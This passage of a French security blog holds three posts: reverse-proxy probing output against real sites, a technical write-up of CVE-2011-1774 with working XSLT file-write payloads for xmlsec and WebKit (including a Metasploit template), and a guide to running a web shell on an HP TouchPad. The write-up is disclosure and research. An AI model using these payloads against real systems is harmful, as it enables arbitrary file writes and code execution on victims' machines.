Second example, '163.com' and the host 'stcz164' listening on port 8103 :
[==] Target URL : http://www.163.com:80/
[==] Used method : GET
[==] Max number of hops : 3
[++] "Via" header : Probably a reverse proxy
[++] "Via" header : Probably a reverse proxy
[++] "Via" header : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Via:
Hop #0 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
Hop #1 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
Hop #2 : 1.1 stcz164:8103 (Cdn Cache Server V2.0), 1.1 dg49:8106 (Cdn Cache Server V2.0)
Title:
Hop #0 : ���
Hop #1 : ���
Hop #2 : ���
Server:
Hop #0 : nginx
Hop #1 : nginx
Hop #2 : nginx
Content-Type:
Hop #0 : text/html; charset=GBK
Hop #1 : text/html; charset=GBK
Hop #2 : text/html; charset=GBK
StatusCode:
Hop #0 : 200 OK
Hop #1 : 200 OK
Hop #2 : 200 OK
[++] Found a reverse proxy, score is 3
Third example, 'zhaopin.com' and '192.168.9.*' :
[==] Target URL : http://www.zhaopin.com:80/
[==] Used method : TRACE
[==] Max number of hops : 3
[++] "Via" header : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
[++] "X-Forwarded-For" in body when using TRACE : Probably a reverse proxy
--------------------------------------------------------------------------------
[---------------------------] Heuristic Report [-------------------------------]
--------------------------------------------------------------------------------
Via:
Hop #0 : 1.0 squid91 (squid/3.0.STABLE13)
Hop #1 : Undef
Hop #2 : Undef
X-Fwd:
Hop #0 : [Your_IP]
Hop #1 : [Your_IP], 192.168.9.113
Hop #2 : [Your_IP], 192.168.9.98
Server:
Hop #0 : squid/3.0.STABLE13
Hop #1 : Apache
Hop #2 : Apache
Content-Type:
Hop #0 : text/plain
Hop #1 : message/http
Hop #2 : message/http
StatusCode:
Hop #0 : 200 OK
Hop #1 : 200 OK
Hop #2 : 200 OK
[++] Found a reverse proxy, score is 9
This can be used on SIP networks too, using the INVITE method and looking for HTTP 483, but I didn't test it. You can download the tool (v0.5) here. Enjoy !
lundi 31 octobre 2011, 15:18:02 (UTC+0100)
xmlsec et webkit, deux vecteurs pour abuser de libxslt
Suite à l'article "Webkit + XSLT = CVE-2011-1774" publié dans le MISC HS 4 "A l'assaut du Web", voici quelques détails techniques supplémentaires sur deux vecteurs permettant d'abuser certaines fonctionnalités de libxslt : xmlsec et webkit.
Tout
d'abord, un bref rappel sur libxslt : ce moteur XSLT, développé
dans le cadre du projet Gnome, contient une extension permettant de
stocker dans un fichier le résultat d'une transformation XSLT.
Voici à quoi ressemble un usage minimaliste de cette extension
(apt-get install xsltproc).
Le fichier XML (télécharger) :
1 <?xml version="1.0"?> 2 <doc> 3 <evil>Here's the payload</evil> 4 <normal>Something else</normal> 5 </doc>
Rien de particulier à dire : un champ sera affiché à l'écran (ligne 4), l'autre devant être écrit dans un fichier (ligne 3).
Le fichier XSL (télécharger) :
1 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 xmlns:sx="http://icl.com/saxon" 3 extension-element-prefixes="sx" 4 version='1.0'> 5 <xsl:template match="doc/evil"> 6 <sx:output href="/tmp/0wn3d" method="text"> 7 <xsl:apply-templates/> 8 </sx:output> 9 </xsl:template> 10 </xsl:stylesheet>
On commence par définir deux espaces de nommage (namespace) : "xsl" qui pointe vers les fonctionnalités décrites dans la version 1.0 de la norme XSLT (ligne 1) et "sx" qui pointe vers certaines extensions propres à libxslt (ligne 2). Il est à noter que la fonction de création de fichier est appelable depuis plusieurs autres namespaces : "http://exslt.org/common", "org.apache.xalan.xslt.extensions.Redirect", "http://www.jclark.com/xt", ...
Il suffit ensuite de définir un template correspondant à notre payload (ligne 5), de rediriger la sortie vers un fichier (ligne 6) puis d'appliquer le template (ligne 7). Jusque là, c'est simple, non ? L'exécution en ligne de commande :
nico ~ > xsltproc min.xsl min.xml | hd 00000000 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 |<?xml version="1| 00000010 2e 30 22 3f 3e 0a 0a 0a 53 6f 6d 65 74 68 69 6e |.0"?>...Somethin| 00000020 67 20 65 6c 73 65 20 20 0a 0a |g else ..| nico ~ > cat /tmp/0wn3d | hd 00000000 48 65 72 65 27 73 20 74 68 65 20 70 61 79 6c 6f |Here's the paylo| 00000010 61 64 |ad| 00000012
Essayons
maintenant d'appliquer cela à xmlsec. Depuis les présentations par
iSec à Blackhat en 2007, on sait que certains moteurs XML-DSIG
supportent XSLT. Les bonnes pratiques ont beau déconseiller cela, on en
trouve encore régulièrement dans la nature. Comme par exemple
xmlsec ... Ce qui permet d'exécuter du code XSLT lors d'une
vérification de signature.
Le fichier à vérifier (télécharger) :
1 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
2 <ds:SignedInfo>
3 <ds:CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"></ds:CanonicalizationMethod>
4 <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"></ds:SignatureMethod>
5 <ds:Reference URI="#Payload">
6 <ds:Transforms>
7 <ds:Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments"></ds:Transform>
8 <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
9 <xsl:stylesheet extension-element-prefixes="sx" version="1.0" xmlns:sx="http://icl.com/saxon"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
10 <xsl:template match="/">
11 <sx:output file="/tmp/0wn3d" method="text">
12 <xsl:apply-templates/>
13 </sx:output>
14 </xsl:template>
15 </xsl:stylesheet>
16 </ds:Transform>
17 </ds:Transforms>
18 <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod>
19 <ds:DigestValue>ipbs0UyafkdRIcfIo9zyZLce+CE=</ds:DigestValue>
20 </ds:Reference>
21 </ds:SignedInfo>
.....
60 </ds:DSAKeyValue>
61 </ds:KeyValue>
62 </ds:KeyInfo>
63 <ds:Object Id="Payload">Here's the payload !</ds:Object>
64 </ds:Signature>
On définit une référence interne au document (fragment "#Payload", ligne 5) qui pointe vers un objet défini à la fin du fichier (ligne 63). On définit à l'intérieur de la référence deux transformations : une canonicalisation C14N (ligne 7) et une transformation XSLT (ligne 8). Le code de la transformation est défini des lignes 9 à 15 et est très similaire au code vu précédemment.
Lors de la vérification de signature, on obtient ceci :
nico ~ > xmlsec1 --verify xmldsig.txt func=xmlSecOpenSSLEvpDigestVerify:file=digests.c:line=229:obj=sha1:subj=unknown:error=12:invalid data:data and digest do not match FAIL SignedInfo References (ok/all): 0/1 Manifests References (ok/all): 0/0 Error: failed to verify file "xmldsig.txt" nico ~ > cat /tmp/0wn3d | hd 00000000 48 65 72 65 27 73 20 74 68 65 20 70 61 79 6c 6f |Here's the paylo| 00000010 61 64 20 21 |ad !| 00000014
Ca marche ;-) Evidemment, la signature n'est pas valable, mais là n'est pas le but de cet exemple.
Mainteant, au tour
de Webkit ! Il est tout à fait possible d'utiliser les fichiers XML
et XSLT vu précédemment, en ajoutant simplement au fichier XML une
processing instruction indiquant au moteur où trouver le
code XSLT :
<?xml-stylesheet href="min.xsl" type="text/xsl" ?>
Mais il est possible de faire mieux (utilisation de variables, code XSLT contenu dans le fichier XML, sortie en XHTML ou SVG, ...), comme documenté dans l'exploit pour Metasploit (télécharger) :
1 <?xml-stylesheet type="text/xml" href="#fragment"?>
2 <!-- Define the DTD of the document
3 This is needed, in order to later reference the XSLT stylesheet by a #fragment
4 This trick allows to have both the XML and the XSL in the same file
5 Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
6 <!DOCTYPE doc [
7 <!ATTLIST xsl:stylesheet
8 id ID #REQUIRED
9 >]>
10 <doc>
11
12 <!-- Define location and content of the file -->
13 <path><![CDATA[#{path}]]></path>
14 <content><![CDATA[#{content}]]></content>
15
16 <!-- The XSLT stylesheet header, including the "sx" extension -->
17 <xsl:stylesheet id="fragment" version="1.0"
18 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
19 xmlns:sx="http://icl.com/saxon"
20 extension-element-prefixes="sx"
21 xmlns="http://www.w3.org/1999/xhtml" >
22 <xsl:output method="xml" indent="yes" />
23
24 <!-- The XSLT template -->
25 <xsl:template match="/">
26 <!-- Create the file -->
27 <xsl:variable name="path" select="//path/text()"/>
28 <sx:output file="{$path}" method="text">
29 <xsl:value-of select="//content"/>
30 </sx:output>
31 <!-- Send some output to the browser -->
32 <html> </html>
33 </xsl:template>
34 </xsl:stylesheet>
35 </doc>
La première astuce est l'utilisation d'un DTD définissant un champ "id", permettant au fichier XML de pointer vers du code XSLT contenu dans le même document. Ainsi, le DTD est défini des lignes 6 à 10, et la processing instruction (ligne 1) pointe vers un fragement défini en ligne 17. Deux variables (lignes 13 et 14) servent à recevoir les valeurs définies dans le module auxiliaire pour Metasploit. La version dédiée à Windows utilise des valeurs "en dur" permettant l'obtention d'un shell si l'utilisateur est admin de son poste (technique MOF popularisée par Stuxnet). Le code ci-dessus génère un contenu XHTML, mais pourrait tout aussi bien générer du SVG en ajoutant au document de résultat un DOCTYPE adapté :
<xsl:output method="xml" indent="yes" doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" doctype-public="-//W3C//DTD SVG 1.1//EN" />
En dehors de xmlsec et webkit, il existe bien d'autres vecteurs (dont le format PDF tel que supporté par Adobe Reader), avec lesquels je joue en fonction du temps que je peux y consacrer. Et il n'est pas improbable que de nouvelles vulnérabilités, liées à l'utilisation non restreinte de moteurs XSLT, aparraissent bientôt. Il est à noter que ces problèmes ne sont pas limités à libxslt, loin de là ! A titre d'exemple, Adobe Reader X utilise une très très vieille version de Sablotron ;-)
lundi 19 septembre 2011, 21:06:14 (UTC+0200)
HP TouchPad : accéder localement au shell
Suite à mes premiers pas sur la tablette HP TouchPad, je souhaitais disposer d'un shell accessible localement (c'est-à-dire sans cable USB ni connexion réseau). Le client de base sous webOS étant le navigateur, un shell "webifié" semblait être une bonne solution. Après avoir regardé l'offre côté logiciels libres (et essayé les démos présentes sur le site d'AnyTerm), le logiciel shellinabox a été retenu, dans sa version svn (r239).
Pour mener à bien la manip décrite ci-dessous, il faut :
- une machine Unix pour réaliser la compilation (ici Ubuntu x86 32 bits)
- un compilateur cross-platform (ici celui de Sourcery)
- un HP TouchPad accessible en ligne de commande via SSH ou novaterm (ici v3.0.2)
Première étape, le compilateur cross-platform ! En raison de soucis avec le compilateur inclus dans le PalmPDK, nous utiliserons Sourcery G++ Lite 2011.03-41 for ARM GNU/Linux. Le récapitulatif des différentes étapes :
Télécharger le fichier "IA32 GNU/Linux TAR" et le décompresser :
$> tar xvjf arm-2011.03-41-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2
Se déplacer dans le répertoire où sont stockés les binaires et les renommer afin de manipuler les noms usuels (gcc, objcopy, ...) :
$> cd arm-2011.03/bin $> rename 's/arm-none-linux-gnueabi-//' *
Modifier $PATH afin de pointer d'abord vers ces binaires :
$> which gcc /usr/bin/gcc $> PATH=/home/nicob/arm-2011.03/bin:$PATH $> export PATH $> which gcc /home/nicob/arm-2011.03/bin/gcc
Et voilà, le compilateur cross-platform sera donc appelé par défaut (dans ce shell) quand gcc sera invoqué.
Deuxième étape : OpenSSL ! Preware propose les paquets openssl et libssl, qui sont nécessaires à l'installation d'OpenSSH. Il serait donc possible d'utiliser ces paquets (ou ceux du canal parallèle ipkg-opt), mais cela créérait des problèmes de dépendances. Il faudrait en effet fournir un binaire pour les utilisateurs de Preware et un pour ceux de ikpg-opt, ou restreindre l'utilisation à un seul de ces catalogues alternatifs, ou encore fournir une n-ième version de ces paquets. Il reste aussi la possibilité de réaliser une compilation statique. Mais bon, étant donné que l'objectif est de se connecter localement (c'est-à-dire via l'interface de loopback), on peut tout aussi bien se passer de SSL et de ce problème ;-) Zou, c'est réglé ...
Troisième étape : compiler shellinabox après application des patchs "kivonbien"
On récupère la dernière version disponible sur Google Code :
$> svn checkout http://shellinabox.googlecode.com/svn/trunk/ shellinabox-svn $> cd shellinabox-svn
On patch le fichier "vt100.js" (entre autres parceque la notion de "bouton droit" n'existe pas sous webOS) en se basant sur l'expérience d'un utilisateur de Reddit :
--- vt100.js.orig 2011-09-19 10:56:56.000000000 +0200
+++ vt100.js 2011-09-19 10:58:58.000000000 +0200
@@ -283,7 +283,7 @@
this.visualBell = typeof suppressAllAudio != 'undefined' &&
suppressAllAudio;
this.autoprint = true;
- this.softKeyboard = false;
+ this.softKeyboard = true;
this.blinkingCursor = true;
if (this.visualBell) {
this.signature = Math.floor(16807*this.signature + 1) %
@@ -1124,7 +1124,7 @@
VT100.prototype.resizer = function() {
// Hide onscreen soft keyboard
- this.hideSoftKeyboard();
+ // this.hideSoftKeyboard();
// The cursor can get corrupted if the print-preview is displayed in Firefox.
// Recreating it, will repair it.
On configure pour ne supporter ni SSL ni PAM puis on compile :
$> ./configure --host=arm --disable-ssl --disable-pam $> make
Voilà, il ne reste qu'à copier le fichier sur le TouchPad et à l'exécuter :
$> scp shellinaboxd root@192.168.33.201: $> ssh root@192.168.33.201 NicolasHPTouchPad root # ./shellinaboxd -b --localhost-only
Vous pouvez désormais lancer accéder via le navigateur à http://127.0.0.1:4200/ (login = root, pas de mot de passe) :

Bon, il y a clairement des problèmes de mapping du clavier (typiquement, le "-" ne marche pas sur le clavier du TouchPad, il faut utiliser le clavier virtuel de l'application), mais ça permet d'avoir un shell minimaliste. Pour un usage au long cours, il faut lancer le binaire au démarrage de la tablette, par exemple en ajoutant une ligne "exec /path/to/shellinaboxd -b --localhost-only" à un script de démarrage quelconque comme celui d'OpenSSH. Pour les pressés et les téméraires qui veulent juste le binaire, il est disponible ici.
Depuis la semaine dernière, une autre façon de disposer d'un shell local sous HP TouchPad est proposée. En effet, les feeds Stable de Preware ont vu débarquer le triplet gagnant Xecutah / Xserver / Xterm :

Que choisir entre shellinabox et xterm ? Le second est maintenu par la communauté et sera probablement régulièrement actualisé. Mais il a une empreinte système assez importante : environ 33 Mo de RAM et 6% de CPU en tâche de fond, contre 2 Mo et quasiment pas de CPU. Bien sûr, le serveur X sera mutualisé quand d'autres d'applis X tourneront sur la tablette. Autre point négatif pour xterm : les curseurs ne sont pas présents (argh !). Du coup, je fais tourner shellinabox en tâche de fond, avec lancement de xterm si le besoin s'en fait sentir. En tout cas, voilà le problème de l'accès local au Linux sous-jacent résolu !
Note finale : si quelqu'un veut produire une version packagée pour webOS (au format IPK) de shellinabox, je serais ravi ... et ce serait l'occasion de créer un script de démarrage dédié ;-)